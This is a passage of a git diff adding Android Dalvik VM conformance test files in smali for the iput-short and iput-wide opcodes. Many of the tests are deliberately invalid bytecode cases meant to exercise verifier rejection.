+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali
new file mode 100644
index 0000000..79ae5ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_12.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_12;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali
new file mode 100644
index 0000000..9f3b892
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_13.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_13;->st_i1:S
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali
new file mode 100644
index 0000000..29c10f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_14.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_14;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali
new file mode 100644
index 0000000..451d1ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_15.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_15;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali
new file mode 100644
index 0000000..6570533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_17.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali
new file mode 100644
index 0000000..ee2906b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_18.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali
new file mode 100644
index 0000000..64bbfd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_2.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali
new file mode 100644
index 0000000..36d67d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_21.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_21;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali
new file mode 100644
index 0000000..36f8d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_22.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali
new file mode 100644
index 0000000..1e4e6df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_23.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_23;
+.super  Ljava/lang/Object;
+
+.field public st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali
new file mode 100644
index 0000000..ca18705
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_24.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali
new file mode 100644
index 0000000..c740adb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_3.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_3;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali
new file mode 100644
index 0000000..4737df5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_30.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;->st_i1:S
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali
new file mode 100644
index 0000000..4a461df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_31.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_31;->st_i1:S
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali
new file mode 100644
index 0000000..a959f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_4.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-short v3, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali
new file mode 100644
index 0000000..b865442
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_7.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_7;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali
new file mode 100644
index 0000000..bd4f389
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_8.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali
new file mode 100644
index 0000000..316ff5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_9.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali
new file mode 100644
index 0000000..69eae12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_10.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali
new file mode 100644
index 0000000..a581e16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_11.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 1
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali
new file mode 100644
index 0000000..0901158
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_12.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali
new file mode 100644
index 0000000..704d937
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_14.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_14;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()J
+.registers 2
+
